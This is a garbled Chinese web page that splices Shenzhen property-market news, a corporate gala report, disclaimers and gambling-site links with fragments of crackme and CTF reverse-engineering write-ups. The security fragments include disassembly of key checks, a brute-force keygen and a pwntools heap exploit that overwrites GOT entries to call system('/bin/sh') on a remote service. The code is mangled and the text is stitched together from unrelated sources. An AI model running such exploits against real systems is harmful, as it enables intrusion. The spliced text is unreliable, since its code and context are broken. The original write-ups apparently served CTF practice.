3、我们所转载的所有文章、图片、音频视频文件等资料版权归版权所有人所有,因非原创文章及图片等内容无法和版权者联系,如原作者或编辑认为作品不宜上网供大家浏览,或不应无偿使用,请及时通知我们,以迅速采取适当措施,避免给双方造成不必要的经济损失。写字楼成交金额TOP10根据深圳房地产信息网的监测,龙光玖钻以150280万元摘取深圳市写字楼成交金额龙虎榜桂冠,博丰大厦以32638万元取得亚军排名,佳兆业前海广场以28183万元居于季军之位。者:(编程解码)(动态调试)骤:代码,定位主要流程。。这个函数的主要功能,是创建新进程的EPROCESS,为进程分配进程空间,创建进程的句柄表、PEB,以及设置进程的安全属性。Hi_2HexTo1Bin_Xor0x86_sub_402E20Hi_AFX_MODULE_THREAD_STATE_ctor_sub_4066D2Hi_AFX_THREAD_STATE_ctor_sub_405F63Hi_AfxGetStringManagerHi_CStr_Mid_sPos_chSize_sub_404160Hi_CStr_dotr_sub_402C70Hi_CStr_getLen_sub_4029D0Hi_DecExpand_sub_403650Hi_IDDlg_2_hWnd_sub_417026Hi_InP2DlgID_OutP3text_sub_416F7AHi_P1_EQ_EcxLeftNStr_sub_404210Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30Hi_RaiseException_sub_405F15Hi_afxstr_ecx_eq_p1_sub_404830Hi_bastr_ecx_eq_P1lpsz_P2len_sub_401EE0Hi_bastr_trim_sub_412460Hi_bstrReserve_sub_416A1DHi_checkKey1_or_expandKey_sub_403230Hi_check_key1_sub_403510Hi_chset_index_sub_4043C0Hi_ecxCStr_eq_P1CStr_sub_4048C0Hi_extract_key1_sub_4032C0Hi_free_sub_4AEF5FHi_getCStrPtr_sub_404280Hi_getEditText_sub_403B60Hi_getNilString_sub_4050C2Hi_getThis_sub_402080Hi_get_AFX_THREAD_STATE_sub_416D28Hi_keyMsgMap_sub_4151F8Hi_malloc_sub_404B6BHi_malloc_sub_404F1FHi_memset_ecx_0_cbSizeP1_sub_402620Hi_realloc_sub_4051982018年,各地楼市会松绑么?答案是否定的。在视频当中,我们能够深深地感受到中泰集团温暖的企业氛围,中泰人对企业、领导发自肺腑的感恩之情让人无比动容。 ,于是我们可以大胆猜测,UnhandledExceptionFilter函数包含着重要跳转,是我们打补丁的目标。在未来5年这些区域可提供持续型的快速发展。sm3_42DA78(v14,3u,(int)v11);这个函数根据下边函数里的初始值很容易搜到是国密算法sm3int__cdeclsub_436700(_DWORD*a1){intresult;//eax*a1=0;a1[1]=0;a1[2]=0x7380166F;a1[3]=0x4914B2B9;a1[4]=0x172442D7;a1[5]=0xDA8A0600;a1[6]=0xA96F30BC;a1[7]=0x163138AA;a1[8]=0xE38DEE4D;a1[9]=0xB0FB0E4E;if(sub_42DA7D()==1)sub_42E086();sub_42D389();if(sub_42D807()==1)sub_42E086();result=sub_42D39D();if(result==1)sub_42E086();returnresult;}主要是计算解码后的字符串的sm3值。受元旦以及即将步入的春节假期影响,二手房成交量有所下滑,其中罗湖区领跌全市,其余各区成交量不同程度下挫。其实就是对输入分别与下面这一串异或,返回结果。事情的起因是这样的,前两天去xxx公司面试,被问道这样一个问题:PsExec是怎么以系统权限运行程序的?首先在当前Session下以系统权限运行一个程序的命令行如下:打开IDA先从参数入手,看一下这几个参数是怎么处理的可以看到它们被记录到了三个个全局变量里面,通过ida的交叉引用发现一处使用的地方简单分析sub_404920函数后,开头内容如下:通过这些信息,明确了一点,PsExec从资源文件中提取出了一个服务,并创建且运行了该服务程序。,住宿情况:无住宿,走读。 ,求输入字符串。在编辑框Edit控件的消息响应函数Hi_WM_COMMAND_sub_401570中通过每次输入是,都会调用消息响应函数,函数通过UpdateData(True)将当前输入的key文本更新赋值给Edit控件关联的CString成员变量,从下属代码中,可见edit控件关联成员变量在控件的0x60偏移处,要求输入的key文本长度大于0x0B,如果是正常直接输入,在输入第0x0B个字符时,就会响应校验,最大输入是0x0B;但这里的bug是,如果是复制粘贴的,其长度就可以任意,如"AAAAAAAAAAAAAAAA".text::0040158Fmov[esp+8Ch+var_74_thisPtr],:00401593callCWnd::UpdateData(int).text:00401598leaecx,[esp+88h+var_7C].text:0040159CcallCString::CString(void).text:004015A1moveax,[esi+60h].text:004015A4leaedx,[esi+60h].text:004015A7mov[esp+88h+var_4],:004015B2movebp,[eax-8].text:004015B5cmpebp,0Bh核心逻辑是两个迭代异或解密a.用用户输入的key的每一个字节异或上encKeyA=Hi_encKeyA_byte_403020,的每一个字节,解密出decKeyAb.用"a."得到的decKeyA的每一个字节有符号乘0x5E后在异或上加密代码Hi_encChipCode_sub_401540的每一个字节,解密出代码最后调用解密的代码显示成功信息。pt老虎机价格上有不错的优势,但在教育资源配方面的硬伤也是很明显的。WriteFile用来发送我们输入的注册码。    项目分三期开发,其中一二期总建面约126万平,集海幕名邸、服务式公寓、300m超甲级写字楼、精品酒店、16万平ShoppingMall&主题商业街区等多元复合业态为一体。。 测试结果显示,修改后,异常处理中的代码确实可以断下来了。并以为三大核心业务板块,打造了。当今世界,湾区已成为带动全球经济发展的重要增长极和引领技术变革的领头羊,由此衍生出的经济效应则称之为“湾区经济”。。实行分享学区的学校,先行录取。,www.wns977.com、www.v4966.com、分割边界是前五个字符为key1,剩下的为key2即key=key1+:00403EEEmoveax,[ebp+var_118_thisPtr].text:00403EF4addeax.....text:00403F17pushesi;void*.text:00403F18leaecx,[ebp+var_18_2Cstr].text:00403F1BcallHi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30在重入函数Hi_checkKey1_or_expandKey_sub_403230中,第一此调用该函数体时会触发对key1的校验分支。,开间尺度合理稍偏重主卧舒适度,中小次卧空间相对一般应注意收纳设计。大亚湾曾一度是睡城,那些漆黑的晚上,极低的亮灯率让购房者反复自我怀疑。(4)if(_mbsicmp(v8,a888aeda4ab))截取的字符串与888aeda4ab比较。盛典之上,一支《我们的故事》视频揭开了地产人背后的酸甜苦辣,也向大家展示了中泰人为践行诺言,使命必达的精神。又是一道pwn题,需要利用程序的漏洞来getshell然后读取存放在远程服务器上的flag文件。 ,unsignedchardata[156]={0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x00,0x00,0x00};在CALL00403910这个函数中验证,长度位0x9c,方式位高低字节减0x30分别与表中的每个元素的高低字节比较:找到数字对应关系,多输入几次试验下就出来了:于是我们可以大胆猜测,UnhandledExceptionFilter函数包含着重要跳转,是我们打补丁的目标。这些地块全部位于东进战略战场中,包括龙岗区平湖、宝龙各1宗,坪山区2宗,而宝龙所在,与坪山相接,地缘关系密切,甚至可以被纳入坪山楼市版图。    有人说,年味淡了;有人说,怀念从前。string_sm3=sm3(string);for(i=0;i32;++i)j__sprintf(v10[2*i],"%02x",v11[i]);v4=j__strlen(v10);v5=String+j__strlen(String);v6=j__strlen(v10);//输入的base64串的后64位与原始字符串的sm3值相等if(!j__memcmp(v10,v5[-v6],v4))接着是比较string_sm3是否等于输入的64位时候相等。。。 南山区成交均价为95096元/㎡,环比下跌%,同比下跌%;罗湖区均价为68150元/㎡,环比下跌%,同比下跌%。这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535    免责声明:    1、文章部分图片来于”百度图片“、“项目效果图”;    2、因文章中文字和图片之间亦无必然联系,仅供读者参考;    3、我们所转载的所有文章、图片、音频视频文件等资料版权归版权所有人所有,因非原创文章及图片等内容无法和版权者联系,如原作者或编辑认为作品不宜上网供大家浏览,或不应无偿使用,请及时通知我们,以迅速采取适当措施,避免给双方造成不必要的经济损失。结合坪山区特有优势,提出9条政策点突出优势全面提升人才服务保障工作水平。会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。放开五大,我们的身边其实还有很多优质学校。来源:澎湃新闻关于买房,以及了解独家房产资讯及数据,建议您加入咚咚找房极速买房;说出您的需求,剩下的找房、价值分析、价格配比……都有专业人员帮您搞定,让您的买房路更顺畅。还是比较给力,memset这些都失败出来了,的就不行。,  据发展商透露,目前该项目认筹情况超出预期,买家对于置业中山的热情高涨,目前项目认筹活动已结束,本周六正式发售。。 所以继续往后看,发现奇怪之处。Hi_2HexTo1Bin_Xor0x86_sub_402E20Hi_AFX_MODULE_THREAD_STATE_ctor_sub_4066D2Hi_AFX_THREAD_STATE_ctor_sub_405F63Hi_AfxGetStringManagerHi_CStr_Mid_sPos_chSize_sub_404160Hi_CStr_dotr_sub_402C70Hi_CStr_getLen_sub_4029D0Hi_DecExpand_sub_403650Hi_IDDlg_2_hWnd_sub_417026Hi_InP2DlgID_OutP3text_sub_416F7AHi_P1_EQ_EcxLeftNStr_sub_404210Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30Hi_RaiseException_sub_405F15Hi_afxstr_ecx_eq_p1_sub_404830Hi_bastr_ecx_eq_P1lpsz_P2len_sub_401EE0Hi_bastr_trim_sub_412460Hi_bstrReserve_sub_416A1DHi_checkKey1_or_expandKey_sub_403230Hi_check_key1_sub_403510Hi_chset_index_sub_4043C0Hi_ecxCStr_eq_P1CStr_sub_4048C0Hi_extract_key1_sub_4032C0Hi_free_sub_4AEF5FHi_getCStrPtr_sub_404280Hi_getEditText_sub_403B60Hi_getNilString_sub_4050C2Hi_getThis_sub_402080Hi_get_AFX_THREAD_STATE_sub_416D28Hi_keyMsgMap_sub_4151F8Hi_malloc_sub_404B6BHi_malloc_sub_404F1FHi_memset_ecx_0_cbSizeP1_sub_402620Hi_realloc_sub_405198return16;}//CRC32编码intgetTheKey2(unsignedchar*buf,intbufsize){DWORDret=-1;DWORD*bb=(DWORD*)aa;for(inti=0;ibufsize;i++){intxt=(ret0xff)^buf[i];ret=bb[1+xt]^(ret}return~ret;}unsignedcharbuf[4]={0};intget2(DWORDa){DWORDconfirm1=0x9e;//0x9eb3acb8==~0x614C5347DWORDconfirm2=0xb3;DWORDconfirm3=0xac;DWORDconfirm4=0xb8;DWORDtmp,x[4]={0};inti,y[4]={0};DWORD*bb=(DWORD*)aa;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm1){x[0]=bb[i];y[0]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm2=confirm2^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm2){x[1]=bb[i];y[1]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm3=confirm3^tmp;tmp=x[1]tmp=tmp0xff;confirm3=confirm3^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm3){x[2]=bb[i];y[2]=i;break;}}tmp=x[0];tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[1]tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[2]tmp=tmp0xff;confirm4=confirm4^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm4){x[3]=bb[i];y[3]=i;break;}}DWORDret=a;//0x32f38783;for(i=3;ii--){buf[3-i]=((ret0xff)^y[i]-1);ret=x[i]^(ret}return0;}//FNV-1aHash运算DWORDgetTheKey3(unsignedchar*buf,intbufsize){DWORDret=0x811C9DC5;for(inti=0;ibufsize;i++){DWORDxx=(DWORD)buf[i];ret=0x1000193*(ret^xx);}returnret;}intget3(DWORDa){unsignedchardd[4]={0x5C,0xA4,0x88,0xC9};DWORDret=a;inti,j;for(i=0;;i++)//614C5347-A19947FD-CE19CA2F-92F5E675-F4659CD7-0D33122D-F32BF53F-66263925-7BDE6D67-127F995D-CDAA8F4F-8379C0D5{for(j=0;jj++){DWORDxx=(DWORD)dd[j];ret=0x1000193*(ret^xx);//359C449B(1000193^-1)}if(ret==0x614C5347||ret==a)//0x614C5347{break;}}if(ret==0x614C5347){returni;}else{return-1;}}for(unsignedchari=0;i0xff;i++){bbuf[xs-1]=i;DWORDyy1=getTheKey2(bbuf,xs);get2(yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];//DWORDyy1=sub_1244(bbuf,xs);DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);if(udd!=-1){printf(%02X%08X,i,udd);}}bbuf[xs-1]=0x20;DWORDyy1=getTheKey2(bbuf,xs);get2(~yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);unsignedchar*memm=(unsignedchar*)malloc(udd*4+8+xs);memcpy(memm,bbuf,xs+4);for(inti=0;i=udd;i++){memm[xs+4+i*4+0]=0x5C;memm[xs+4+i*4+1]=0xA4;memm[xs+4+i*4+2]=0x88;memm[xs+4+i*4+3]=0xC9;}fp=fopen(zapus_,wb);fwrite(memm,udd*4+8+xs,1,fp);fclose(fp);上传的附件:14:50分:深圳“最强”土拍即将开始,企业代表们已陆续就座。    活动现场热闹非凡,好友结伴、全家出动,人气火爆;笑声连绵不绝,喜气冲天。 (4)if(_mbsicmp(v8,a888aeda4ab))截取的字符串与888aeda4ab比较。如果A学校学区范围内的学生可以分享B学校学位,那么第一志愿为A学校,第二志愿为B学校,但是B学校学区范围内的学生不能填报A学校。全市改善型住宅占比略微下降,同时收紧的政策依然制约着深圳楼市,1月全市均价环比下跌16元,为54240元/㎡,同比下跌%。从我做起,恪守法律底线,坚决抑制并积极配合有关部门打击下列互联网重点领域虚假违法广告行为:(一)超出批准的功能主治和保健功能,宣传包治百病、适合所有症状以及治愈率的;(二)使用患者、医学专家、科研机构等名义证明疗效或者保证治愈,以及冒用公众人物的形象和名义做宣传的;(三)夸大产品功效,宣传保健食品、保健用品、消毒产品具有治疗疾病作用的;(四)未经有关部门审查或者核准,非法发布保健食品、药品、医疗器械、医疗服务广告的;(五)非法发布处方药广告的;(六)未经有关部门审核批准从事互联网医疗保健、药品信息服务的,或者伪造、假冒他人名义开办医疗保健、药品信息服务网站发布虚假信息或销售假劣药品的;(七)其他领域广告及信息严重违反国家法律法规的。。详细过程已更新,详见附件,贴上poc:frompwnimport*importbinasciiimporttime#PediyCTF{n0_pwn_n0_fun_233}g_local=_level=debugsh=0ifg_local:sh=process(./pediy)#print_log(attchbyida.....)raw_input(idahasattchPressanykeyforcontinue...)else:sh=remote(,51888)defwelcome():($)#paylaod=p64(0)+p64(0x21)+A*16#(paylaod)(pediy)($)printwelcome()deffree(id):(2)(1024)(str(id))(1)(2048)defcreate(size,id,context):(1)(1024)(str(size))(1024)(str(id))(1024)(str(context))($)defedit(id,payload):(3)(1024)(str(id))(1024)(payload)(2048)deftest_Double_free():create(16,0,sssss)create(16,1,xxxxxxxxxxx)free(0)free(1)free(0)print(writenewtrunkaddress:)xx=raw_input(newaddress:)payload=p64(int(xx,16))+A*12create(16,0,payload)raw_input()create(16,0,1111111111111)create(16,0,payload)create(16,0,1111111111111)raw_input()create(16,0,1111111111111)create(16,0,1111111111111)create(16,0,1111111111111)deftest_2():create(16,0,sssss)free(-2)print(writenewtrunkaddress:)payload=p32(0x6020e8)+xxxxxxxxxxcreate(20,0,payload)g_dest_list=0x6020e0free_got_plt=0x602018puts_got_plt=0x602020puts_plt=0x4006d0atoi_got_plt=0x602058fd=g_dest_list-0x18bk=g_dest_list-0x10deftest_unlink():FIRST_TRUNK_SIZE=0x80SECOND_TRUNK_SIZE=0x80create(FIRST_TRUNK_SIZE,0,1*FIRST_TRUNK_SIZE)create(SECOND_TRUNK_SIZE,1,2*SECOND_TRUNK_SIZE)#freeg_dwSizeAryfree(-2)#raw_input(changesize)#malloc--returng_dwSizeAryaddress,thenchangethesize#payload=p32(0x20)+p32(0x20)+p32(FIRST_TRUNK_SIZE*2)+p32(SECOND_TRUNK_SIZE)+p32(0)size_payload=size_payload+=p32(FIRST_TRUNK_SIZE*2)#index=0changesizesize_payload+=p32(SECOND_TRUNK_SIZE)#index=1keepsize_payload+=p32(0)size_payload+=p32(0)size_payload+=p32(0)create(20,2,size_payload)#raw_input(editnote0)#editindex=0payload1=payload1+=p64(0)#prevsize=trunkused=0payload1+=p64(0x81)#value=thistrunksize+prevtrunkflag=0x80+1payload1+=p64(fd)#free_got_pltpayload1+=p64(bk)payload1+=A*(FIRST_TRUNK_SIZE-8*4)payload1+=p64(len(payload1))#size=len(payload1)overflowertoindex=1payload1+=p64(SECOND_TRUNK_SIZE+0x10)#value=thistrunksize+prevtrunkflag=0x80+0x10+0edit(0,payload1)raw_input(unlink)#unlinktheng_dest_list[0]=g_dest_list-0x18free(1)#editindex=0address=0x6020c8edit_paylaod=edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(free_got_plt)#g_dest_list[0]forchangefree_got_plttoputs_plttoleakedit_paylaod+=p64(1)#g_dwFlag[0]edit_paylaod+=p64(puts_got_plt)#g_dest_list[1]puts_got_pltForleakputs_got_pltaddressedit_paylaod+=p64(1)#g_dwFlag[1]edit_paylaod+=p64(atoi_got_plt)#g_dest_list[2]atoi_got_pltForchageatoitosystemedit_paylaod+=p64(1)#g_dwFlag[2]#edit(0,p64(0)+p64(0)+p64(0)+p64(free_got_plt)+p64(1)+p64(0x602058)+p64(1)+p64(0x602058))edit(0,edit_paylaod)#raw_input(changefree_got_plttoputs_plt)edit(0,p64(puts_plt))#leakputs_got_plt#raw_input(leakputs_got_pltaddr)xx=free(1)str_puts_addreess=xx[0:6]printstr_puts_addreessstr_puts_addreess=str_puts_addreess+\x00\x00raw_input(calcsystemaddress)ifg_local:system_address=u64(str_puts_addreess)-0x6f690+0x45390else:system_address=u64(str_puts_addreess)-0x6cee0+0x41fd0printsystem_address,hex(system_address)#chageatoiraw_input(chageputs_got_plttosystem_address)edit(2,p64(system_address))#runsystem(/bin/sh)(/bin/sh)#()test_unlink()raw_input()上传的附件:  地块一路之隔的金众蓝钻小区2008年建成,以中小户为主。星光熠熠闪耀红毯珠江两岸,灯光闪耀,星辉灿烂精心布置的场地奢华大气盛装出席的贵宾们,高贵儒雅在现场灯光闪耀下于红毯之上缓缓而至感人回顾盛典启幕晚会以“2017,中泰人的故事”拉开序幕带领大家回顾那些一起逐梦的点滴岁月每个项目从无到有,从有到火酸甜苦辣,都有大家并肩走过的足迹台下中泰的家人们安静地看着随着镜头的闪过笑泪交集,感慨不已一路走来,遇到困苦,不曾彷徨无助收获成功,共同分享喜悦视频结束,掌声久久不停随后作2017年工作总结并宣布盛典正式开始!精彩节目齐贺盛会盛典当晚,中泰集团旗下各地产项目均精心准备了精彩绝伦的表演节目项目带来舞蹈表演《Dreamgirls》带来歌曲《传奇》带来创意光影表演《追梦中泰人》项目一首《怒放的生命》点燃气氛带来自编舞蹈《我们不一样》共铸辉煌载誉前行台上一分钟,台下十年功这些骄人的成绩是各个项目凝心聚势的必然结果藉此盛典,也以一个个未来路上继续携手一个使命,一份事业,一段旅程,一群人他们相伴携手,一路风雨兼程每一个脚步,都留下了铿锵的回响每一段拼搏的记忆,都书写着无限精彩这晚的盛典,是回顾,更是对未来的展望2018年崭新的春天已经来临未来中泰集团将继续携手大家秉承中正太和、厚积薄发的发展理念以匠心定义品质,用经典诠释品牌中泰集团品质生活推动者创立于1992年,是一家以房地产开发为主导,多产业并行的集团化公司。,    有人说,年味淡了;有人说,怀念从前。这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzsho